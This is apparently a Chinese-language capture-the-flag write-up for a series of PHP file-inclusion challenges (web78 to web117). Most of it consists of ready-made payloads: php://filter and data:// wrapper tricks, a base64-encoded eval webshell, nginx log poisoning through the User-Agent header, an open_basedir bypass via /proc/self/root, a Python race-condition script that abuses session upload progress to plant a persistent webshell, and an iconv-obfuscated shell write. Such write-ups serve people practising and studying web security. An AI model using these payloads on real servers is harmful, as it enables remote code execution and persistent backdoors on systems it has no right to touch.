CTFSHOW—文件包含

web78

?file=php://filter/convert.base64-encode/resource=flag.php

web79
(php5.2.0起，数据流封装器开始有效，主要用于数据流的读取。如果传入的数据是PHP代码，就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据))
php被过滤使用data伪装协议执行代码

?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg

web80
PHP绕过open_basedir限制操作文件的方法
open_basedir对system没有限制
str_replace对大小写敏感可以用大小写绕过

Php://input
<?php system("cat fl0g.php");?>

或者包含下日志写个shell

?file=/var/log/nginx/access.log
U-A:<?php eval($_POST[a]);?>

web81
包含下日志写个shell

?file=/var/log/nginx/access.log
U-A:<?php eval($_POST[a]);?>

这里写个容易踩的坑：
当U-A头:<?php system("ls")?>这样，再包含日志会执行出错误原因:
在使用access_log落日志，并且log_format中有$args时，由于nginx使用双引号作为分隔符，所以会强制将$args中的双引号换成x22。
web82

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

利用session.upload_progress进行文件包含
脚本如下：在别的师傅的脚本上多加了个shell.

# coding=utf-8
import io
import requests
import threading

sessid = 'flag'
data = {"cmd": "system('cat fl0g.php');"}
url = "http://3ff61b5f-0a21-416c-9839-e61d9c871f18.chall.ctf.show/"

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[cmd]);fputs(fopen('a.php','w'),'<?php @eval($_POST[wa1ki0g])?>');?>"},
                            files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(url+'?file=/tmp/sess_' + sessid,
                            data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            pass


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

web84-86
如上
web87
两篇师傅的文章
https://xz.aliyun.com/t/8163#toc-3
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

php://filter/write=convert.base64-decode/resource=123.php
url编码两次：
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
content写入经过base64编码过后的一句话加上两个aa aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
这里content的值前面要加两个字符，
因为base64算法解码时是4个byte一组，
所以给他增加2个字符 一共8个字符

web88
同79
web117
base64与rot13都被过滤，看上面的那个连接一，用convert.iconv.绕过，我这里直接用的题给的payload

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>?

写进去shell，用hackerbar tac查看下就好了